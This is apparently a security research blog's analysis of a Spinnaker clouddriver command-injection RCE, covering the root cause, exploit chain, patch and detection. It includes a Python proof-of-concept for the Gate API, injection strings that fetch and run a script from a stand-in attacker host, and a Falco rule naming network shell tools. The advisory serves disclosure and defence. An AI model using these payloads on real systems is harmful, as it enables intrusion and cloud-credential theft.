home intel cve-2026-32604-spinnaker-clouddriver-rce-gitrepo
CVE Analysis 2026-04-20 · 8 min read

CVE-2026-32604: Spinnaker Clouddriver RCE via Unsanitized Git Artifact

Spinnaker's clouddriver service passes attacker-controlled git repo URLs directly to shell execution, enabling trivial unauthenticated RCE. CVSS 9.9 critical, all versions prior to 2026.1.0 affected.

#remote-code-execution#spinnaker#clouddriver#gitrepo-artifacts#privilege-escalation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-32604 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-32604Cloud · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-32604 is a remote code execution vulnerability in Spinnaker's clouddriver microservice, the component responsible for cloud provider interactions and artifact resolution. The vulnerability exists in the gitrepo artifact type handler, which constructs and executes shell commands using attacker-supplied artifact reference fields without sanitization. Any principal with access to the Spinnaker API — including pipeline triggers and external webhook callers — can achieve arbitrary command execution inside the clouddriver pod with a single API call.

The CVSS score of 9.9 (Critical) reflects network-reachable attack surface, low complexity, no required privileges in many default configurations, and a high-integrity cloud execution environment hosting provider credentials (AWS, GCP, Azure IAM tokens) that are directly exposed post-exploitation.

Root cause: Clouddriver's GitJobArtifactDownloader interpolates user-controlled artifact reference fields — specifically reference, version, and artifactAccount — directly into a shell command string passed to ProcessBuilder without escaping or allowlist validation, enabling shell metacharacter injection.

Affected Component

The vulnerable code lives in clouddriver, Spinnaker's cloud abstraction layer. Specifically:

  • Module: clouddriver-artifacts
  • Class: GitJobArtifactDownloader
  • Supporting: GitRepoArtifactCredentials, GitJobExecutor
  • Artifact type string: git/repo

Affected versions: all releases prior to 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2. The gitrepo artifact type is enabled by default when any git artifact account is configured — which is common in CI/CD-integrated Spinnaker deployments.

Root Cause Analysis

The downloader constructs a git clone invocation by string-concatenating artifact fields received from the pipeline execution context. No field is shell-escaped. The following pseudocode reconstructs the logic from the patch delta:

// GitJobArtifactDownloader.java — simplified pseudocode
// BUG: all three fields are attacker-controlled via API; none are sanitized

String buildCloneCommand(Artifact artifact, GitRepoArtifactCredentials creds) {
    String reference = artifact.getReference();   // e.g. "https://github.com/org/repo"
    String version   = artifact.getVersion();     // e.g. "main" — attacker sets this
    String subPath   = artifact.getMetadata("subPath"); // additional attacker field

    // BUG: direct string interpolation into shell command
    String cmd = String.format(
        "git clone --branch %s %s %s",
        version,    // attacker-controlled: inject `; curl attacker.com/shell.sh | bash #`
        reference,  // attacker-controlled: inject backtick expressions
        targetDir
    );

    // BUG: executed via shell=true equivalent — passes to /bin/sh -c
    return ProcessBuilder(new String[]{"/bin/sh", "-c", cmd}).start();
}

The second critical path is in GitJobExecutor, which handles subPath traversal for sparse checkout. The subPath field is passed to an additional shell invocation for git sparse-checkout set:

// GitJobExecutor — sparse checkout path
// BUG: subPath used directly in second shell invocation
void configureSparseCheckout(String repoDir, String subPath) {
    String sparseCmd = String.format(
        "cd %s && git sparse-checkout set %s",
        repoDir,   // controlled by server
        subPath    // BUG: attacker-controlled via artifact.metadata["subPath"]
    );
    // BUG: no shell metacharacter stripping before /bin/sh -c execution
    exec("/bin/sh", "-c", sparseCmd);
}

Three separate injection points exist. Any one of them is sufficient for full RCE. The version field is the most accessible because it maps directly to a pipeline parameter with no format enforcement.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker identifies a Spinnaker instance with gitrepo artifact accounts configured
   (default in most GitHub/GitLab integrated deployments)

2. Craft a malicious artifact payload targeting the /pipelines or /tasks API:
   {
     "type": "git/repo",
     "reference": "https://github.com/any/valid-repo",
     "version": "main; curl https://attacker.tld/implant.sh | bash #",
     "artifactAccount": "my-git-account"
   }

3. Trigger artifact resolution via POST /tasks with a findArtifactFromExecution
   or deployManifest stage referencing the poisoned artifact

4. clouddriver receives the artifact, passes version field to buildCloneCommand()

5. /bin/sh -c "git clone --branch main; curl attacker.tld/implant.sh | bash #
                https://github.com/any/valid-repo /tmp/work" executes

6. Shell interprets semicolon: git clone --branch main exits (may fail),
   curl payload downloads and executes as the clouddriver service account

7. clouddriver pod environment contains:
   - AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY (ECS task role or envvar)
   - GOOGLE_APPLICATION_CREDENTIALS JSON path
   - Azure SP credentials in spring config
   - kubectl config with cluster-admin in many deployments

8. Lateral movement: use harvested credentials to enumerate/modify cloud resources,
   or pivot via kubectl to other cluster workloads

No authentication bypass is required if Spinnaker's Gate service is exposed without authn (common in internal deployments) or if the attacker has any valid API token. The attack requires zero interaction from a legitimate user after the task is submitted — clouddriver resolves artifacts asynchronously and autonomously.

Proof-of-concept payload for direct Gate API submission:

import requests, json

GATE_URL = "http://spinnaker-gate.internal:8084"
APP     = "target-application"

payload = {
  "application": APP,
  "description": "benign deploy",
  "job": [{
    "type": "deployManifest",
    "requiredArtifacts": [{
      "type": "git/repo",
      "reference": "https://github.com/kubernetes/examples",
      # Inject into version → becomes --branch argument → shell injection
      "version": "main; id > /tmp/pwned; wget -q -O- https://c2.attacker.tld/s|sh #",
      "artifactAccount": "my-github-account"
    }]
  }]
}

r = requests.post(
    f"{GATE_URL}/tasks",
    headers={"Content-Type": "application/json"},
    data=json.dumps(payload)
)
print(r.status_code, r.json().get("ref"))

Memory Layout

This is a logic/injection vulnerability rather than a memory corruption primitive, but the process execution context is worth examining. When clouddriver spawns the subprocess, the JVM forks into a shell with the full environment of the clouddriver pod:

CLOUDDRIVER POD PROCESS TREE (post-trigger):

clouddriver (PID 1, JVM)
└── /bin/sh -c "git clone --branch main; curl .../s|sh # https://..."  (PID 847)
    ├── git clone --branch main   [exits 128 — invalid branch, ignored]
    └── curl https://c2.attacker.tld/s | sh                            (PID 849/850)
        └── sh                                                          (PID 850)
            └── [attacker shellscript executes as UID 1000 / clouddriver SA]

ENVIRONMENT INHERITED BY INJECTED PROCESS:
  AWS_ACCESS_KEY_ID      = ASIA...XXXX
  AWS_SECRET_ACCESS_KEY  = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  AWS_SESSION_TOKEN      = FwoGZXIvYXdz...  (STS ephemeral)
  GOOGLE_APPLICATION_CREDENTIALS = /var/secrets/google/key.json
  SPRING_DATASOURCE_PASSWORD = [redis/sql creds]
  KUBECONFIG             = /home/spinnaker/.kube/config
  JAVA_OPTS              = -Xmx2g -Dspring.config.location=...

CREDENTIAL EXFILTRATION SURFACE (single env dump → attacker C2):
  Cloud provider IAM    → full account compromise
  Kubernetes config     → cluster-admin in many installs
  Registry credentials  → artifact poisoning in downstream pipelines

Patch Analysis

The fix introduced in versions 2026.1.0 / 2025.4.2 et al. takes two complementary approaches: argument list execution (eliminating shell interpretation) and strict input validation on artifact fields.

// BEFORE (vulnerable): shell string interpolation
String cmd = String.format(
    "git clone --branch %s %s %s",
    version,    // unsanitized attacker input
    reference,  // unsanitized attacker input
    targetDir
);
new ProcessBuilder("/bin/sh", "-c", cmd).start();


// AFTER (patched): argument list — shell metacharacters never interpreted
List<String> args = new ArrayList<>();
args.add("git");
args.add("clone");
args.add("--branch");
args.add(version);     // passed as discrete argv element; no shell expansion
args.add("--");        // explicit end-of-options separator
args.add(reference);   // URL treated as data, not code
args.add(targetDir);
new ProcessBuilder(args).start();  // execvp() directly, no /bin/sh intermediary
// AFTER (patched): added input validation layer in GitRepoArtifactCredentials
// Validates reference matches expected URL pattern before command construction
private static final Pattern SAFE_REFERENCE =
    Pattern.compile("^(https?://|git@)[\\w./_:@-]+$");

private static final Pattern SAFE_VERSION =
    Pattern.compile("^[\\w./][\\w./_-]{0,255}$");  // no shell metacharacters

void validateArtifact(Artifact artifact) {
    if (!SAFE_REFERENCE.matcher(artifact.getReference()).matches()) {
        throw new IllegalArgumentException(
            "Artifact reference contains disallowed characters: " + artifact.getReference()
        );
    }
    if (artifact.getVersion() != null &&
        !SAFE_VERSION.matcher(artifact.getVersion()).matches()) {
        throw new IllegalArgumentException(
            "Artifact version contains disallowed characters"
        );
    }
}

The defense-in-depth approach is correct: argument list execution alone prevents shell injection, but the allowlist validation catches malicious input earlier in the pipeline before it reaches process spawning, enabling proper audit logging of the rejected artifact at the Gate/Orca boundary.

Detection and Indicators

Exploitation leaves traces in multiple places. Key detection opportunities:

Clouddriver application logs — look for artifact resolution events where version or reference fields contain shell metacharacters: ;, |, `, $(, &&, ||. Unpatched versions will log the raw command string at DEBUG level.

Process execution auditing (auditd / Falco) — on a healthy clouddriver pod, child processes of the JVM should be exclusively git binaries. Any curl, wget, sh, bash, python spawned as children of the clouddriver JVM process is a high-confidence indicator of exploitation.

FALCO RULE (indicative):
- rule: Spinnaker Clouddriver Unexpected Child Process
  desc: Non-git process spawned by clouddriver JVM
  condition: >
    spawned_process and
    proc.pname in ("java") and
    proc.name in ("curl","wget","bash","sh","python","nc","ncat") and
    container.image.repository contains "clouddriver"
  output: >
    Suspicious child process in clouddriver pod
    (proc=%proc.name parent=%proc.pname cmdline=%proc.cmdline
     container=%container.name)
  priority: CRITICAL

Network egress — unexpected outbound connections from clouddriver pods to non-cloud-provider IPs, particularly on ports 4444, 1337, or any non-443/80 port, indicate post-exploitation C2 activity.

Remediation

Primary: Upgrade clouddriver to a patched release — 2026.1.0, 2026.0.1, 2025.4.2, or 2025.3.2. Verify the deployed JAR version via the /admin/v2/versions Gate endpoint.

Immediate workaround (no upgrade required): Disable the git/repo artifact type entirely by removing all gitrepo artifact account definitions from clouddriver.yml and restarting clouddriver. Without configured accounts, the artifact type handler does not register and cannot be triggered.

# clouddriver.yml — remove or comment out entirely:
# artifacts:
#   gitrepo:
#     enabled: true
#     accounts:
#       - name: my-github-account
#         ...

# Verify disabled via:
curl -s http://clouddriver:7002/credentials | jq '[.[] | select(.type=="git/repo")]'
# Should return: []

Defense in depth: Apply network policy restricting clouddriver pod egress to known cloud provider API endpoints only. Rotate all cloud credentials accessible from clouddriver after patching — treat any unpatched exposure window as a potential credential compromise regardless of observed exploitation.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →